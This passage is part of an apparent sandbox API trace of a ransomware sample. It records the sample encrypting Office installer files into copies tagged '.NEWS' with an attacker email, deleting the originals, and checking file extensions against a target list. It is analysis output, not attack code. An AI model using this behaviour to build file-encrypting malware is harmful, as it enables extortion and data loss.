nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x391fed4*=0xd8400, lpOverlapped=0x0) returned 1 [0057.613] WriteFile (in: hFile=0x1ac, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xd8410, lpNumberOfBytesWritten=0x391fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x391fc9c*=0xd8410, lpOverlapped=0x0) returned 1 [0057.901] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x391fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.902] WriteFile (in: hFile=0x1ac, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x391fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x391fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0057.902] SetEndOfFile (hFile=0x1ac) returned 1 [0057.902] CloseHandle (hObject=0x1ac) returned 1 [0058.064] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.064] SetEndOfFile (hFile=0x1f4) returned 1 [0058.079] CloseHandle (hObject=0x1f4) returned 1 [0058.079] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0058.079] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 1 [0058.079] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0058.079] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0058.079] lstrlenW (lpString=".doc") returned 4 [0058.080] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0058.080] lstrlenW (lpString=".docx") returned 5 [0058.080] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0058.080] lstrlenW (lpString=".pdf") returned 4 [0058.080] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0058.080] lstrlenW (lpString=".xls") returned 4 [0058.080] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0058.080] lstrlenW (lpString=".xlsx") returned 5 [0058.080] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0058.080] lstrlenW (lpString=".ppt") returned 4 [0058.080] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0058.080] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0058.080] lstrlenW (lpString=".zip") returned 4 [0058.080] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0058.080] lstrlenW (lpString=".rar") returned 4 [0058.080] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0058.080] lstrlenW (lpString=".bz2") returned 4 [0058.080] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0058.080] lstrlenW (lpString=".7z") returned 3 [0058.080] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0058.080] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0058.080] lstrlenW (lpString=".dbf") returned 4 [0058.080] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0058.081] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0058.081] lstrlenW (lpString=".1cd") returned 4 [0058.081] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0058.081] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0058.081] lstrlenW (lpString=".jpg") returned 4 [0058.081] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0058.081] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0058.081] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0058.081] lstrlenW (lpString=".doc") returned 4 [0058.081] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0058.081] lstrlenW (lpString=".docx") returned 5 [0058.081] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0058.081] lstrlenW (lpString=".pdf") returned 4 [0058.081] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0058.081] lstrlenW (lpString=".xls") returned 4 [0058.081] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0058.081] lstrlenW (lpString=".xlsx") returned 5 [0058.081] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0058.081] lstrlenW (lpString=".ppt") returned 4 [0058.082] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0058.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0058.082] lstrlenW (lpString=".zip") returned 4 [0058.082] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0058.082] lstrlenW (lpString=".rar") returned 4 [0058.082] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0058.082] lstrlenW (lpString=".bz2") returned 4 [0058.082] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0058.082] lstrlenW (lpString=".7z") returned 3 [0058.082] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0058.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0058.082] lstrlenW (lpString=".dbf") returned 4 [0058.082] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0058.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0058.082] lstrlenW (lpString=".1cd") returned 4 [0058.082] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0058.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi") returned 81 [0058.082] lstrlenW (lpString=".jpg") returned 4 [0058.082] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0058.083] lstrcmpiW (lpString1=".msi", lpString2=".NEWS") returned -1 [0058.083] lstrlenW (lpString="Proofing.msi") returned 12 [0058.083] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0058.083] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x391ff1c | out: lpFileSize=0x391ff1c*=868864) returned 1 [0058.083] CloseHandle (hObject=0x1f4) returned 1 [0058.083] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 0x2020 [0058.083] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0058.083] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0058.084] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.084] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.084] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0058.084] GetLastError () returned 0x0 [0058.084] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x391fed4*=0xd4200, lpOverlapped=0x0) returned 1 [0058.609] WriteFile (in: hFile=0x1ac, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x391fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x391fc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0058.807] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x391fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.807] WriteFile (in: hFile=0x1ac, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x391fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x391fc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.808] SetEndOfFile (hFile=0x1ac) returned 1 [0058.808] CloseHandle (hObject=0x1ac) returned 1 [0058.817] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.817] SetEndOfFile (hFile=0x1f4) returned 1 [0058.831] CloseHandle (hObject=0x1f4) returned 1 [0058.831] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0058.832] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 1 [0058.832] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0058.832] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0058.832] lstrlenW (lpString=".doc") returned 4 [0058.832] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0058.832] lstrlenW (lpString=".docx") returned 5 [0058.832] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1 [0058.832] lstrlenW (lpString=".pdf") returned 4 [0058.832] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0058.832] lstrlenW (lpString=".xls") returned 4 [0058.832] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0058.832] lstrlenW (lpString=".xlsx") returned 5 [0058.832] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1 [0058.832] lstrlenW (lpString=".ppt") returned 4 [0058.832] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0058.832] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0058.833] lstrlenW (lpString=".zip") returned 4 [0058.833] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0058.833] lstrlenW (lpString=".rar") returned 4 [0058.833] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0058.833] lstrlenW (lpString=".bz2") returned 4 [0058.833] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0058.833] lstrlenW (lpString=".7z") returned 3 [0058.833] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0058.833] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0058.833] lstrlenW (lpString=".dbf") returned 4 [0058.833] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0058.833] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0058.833] lstrlenW (lpString=".1cd") returned 4 [0058.833] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0058.833] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0058.833] lstrlenW (lpString=".jpg") returned 4 [0058.833] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0058.919] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0058.919] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0058.919] lstrlenW (lpString=".doc") returned 4 [0058.919] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0058.920] lstrlenW (lpString=".docx") returned 5 [0058.920] lstrcmpiW (lpString1=".docx", lpString2="g.msi") returned -1 [0058.920] lstrlenW (lpString=".pdf") returned 4 [0058.920] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0058.920] lstrlenW (lpString=".xls") returned 4 [0058.920] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0058.920] lstrlenW (lpString=".xlsx") returned 5 [0058.920] lstrcmpiW (lpString1=".xlsx", lpString2="g.msi") returned -1 [0058.920] lstrlenW (lpString=".ppt") returned 4 [0058.920] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0058.920] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0058.920] lstrlenW (lpString=".zip") returned 4 [0058.920] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0058.920] lstrlenW (lpString=".rar") returned 4 [0058.920] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0058.921] lstrlenW (lpString=".bz2") returned 4 [0058.921] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0058.921] lstrlenW (lpString=".7z") returned 3 [0058.921] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0058.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0058.921] lstrlenW (lpString=".dbf") returned 4 [0058.921] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0058.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0058.921] lstrlenW (lpString=".1cd") returned 4 [0058.921] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0058.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi") returned 75 [0058.921] lstrlenW (lpString=".jpg") returned 4 [0058.921] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0058.921] lstrcmpiW (lpString1=".cab", lpString2=".NEWS") returned -1 [0058.921] lstrlenW (lpString="OWOW32LR.cab") returned 12 [0058.922] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0058.922] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x391ff1c | out: lpFileSize=0x391ff1c*=2928955) returned 1 [0058.922] CloseHandle (hObject=0x1fc) returned 1 [0058.922] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab")) returned 0x2020 [0058.922] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0058.922] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0058.923] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0058.923] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc6c | out: lpNewFilePointer=0x0) returned 1 [0058.923] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0058.924] ReadFile (in: hFile=0x1fc, lpBuffer=0x3d90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d90058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.955] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0058.955] ReadFile (in: hFile=0x1fc, lpBuffer=0x3dd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dd0058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.979] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x391fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0058.979] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0058.979] ReadFile (in: hFile=0x1fc, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0059.561] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.561] WriteFile (in: hFile=0x1fc, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x391fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x391fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0059.593] SetEndOfFile (hFile=0x1fc) returned 1 [0059.593] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x3f65878 [0059.815] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc7c | out: lpNewFilePointer=0x0) returned 1 [0059.815] WriteFile (in: hFile=0x1fc, lpBuffer=0x3f65878*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f65878*, lpNumberOfBytesWritten=0x391fc88*=0x40000, lpOverlapped=0x0) returned 1 [0059.991] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x391fc7c | out: lpNewFilePointer=0x0) returned 1 [0059.991] WriteFile (in: hFile=0x1fc, lpBuffer=0x3f65878*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f65878*, lpNumberOfBytesWritten=0x391fc88*=0x40000, lpOverlapped=0x0) returned 1 [0060.000] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x391fc7c | out: lpNewFilePointer=0x0) returned 1 [0060.001] WriteFile (in: hFile=0x1fc, lpBuffer=0x3f65878*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f65878*, lpNumberOfBytesWritten=0x391fc88*=0x40000, lpOverlapped=0x0) returned 1 [0060.004] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3f65878 | out: hHeap=0x5c0000) returned 1 [0060.107] CloseHandle (hObject=0x1fc) returned 1 [0061.710] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0061.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0061.710] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0061.711] lstrlenW (lpString=".doc") returned 4 [0061.711] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0061.711] lstrlenW (lpString=".docx") returned 5 [0061.711] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0061.711] lstrlenW (lpString=".pdf") returned 4 [0061.711] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0061.711] lstrlenW (lpString=".xls") returned 4 [0061.711] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0061.711] lstrlenW (lpString=".xlsx") returned 5 [0061.711] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0061.711] lstrlenW (lpString=".ppt") returned 4 [0061.711] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0061.711] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0061.712] lstrlenW (lpString=".zip") returned 4 [0061.712] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0061.712] lstrlenW (lpString=".rar") returned 4 [0061.712] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0061.712] lstrlenW (lpString=".bz2") returned 4 [0061.712] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0061.712] lstrlenW (lpString=".7z") returned 3 [0061.712] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0061.712] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0061.713] lstrlenW (lpString=".dbf") returned 4 [0061.713] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0061.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0061.713] lstrlenW (lpString=".1cd") returned 4 [0061.713] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0061.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0061.713] lstrlenW (lpString=".jpg") returned 4 [0061.713] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0061.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0061.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0061.713] lstrlenW (lpString=".doc") returned 4 [0061.713] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0061.713] lstrlenW (lpString=".docx") returned 5 [0061.713] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0061.713] lstrlenW (lpString=".pdf") returned 4 [0061.713] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0061.714] lstrlenW (lpString=".xls") returned 4 [0061.714] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0061.714] lstrlenW (lpString=".xlsx") returned 5 [0061.714] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0061.714] lstrlenW (lpString=".ppt") returned 4 [0061.714] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0061.714] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0061.714] lstrlenW (lpString=".zip") returned 4 [0061.714] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0061.714] lstrlenW (lpString=".rar") returned 4 [0061.714] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0061.714] lstrlenW (lpString=".bz2") returned 4 [0061.714] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0061.714] lstrlenW (lpString=".7z") returned 3 [0061.714] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0061.714] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0061.714] lstrlenW (lpString=".dbf") returned 4 [0061.714] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0061.715] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0061.715] lstrlenW (lpString=".1cd") returned 4 [0061.715] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0061.715] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0061.715] lstrlenW (lpString=".jpg") returned 4 [0061.715] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0061.715] lstrcmpiW (lpString1=".msi", lpString2=".NEWS") returned -1 [0061.715] lstrlenW (lpString="InfoPathMUI.msi") returned 15 [0061.743] CreateFileW 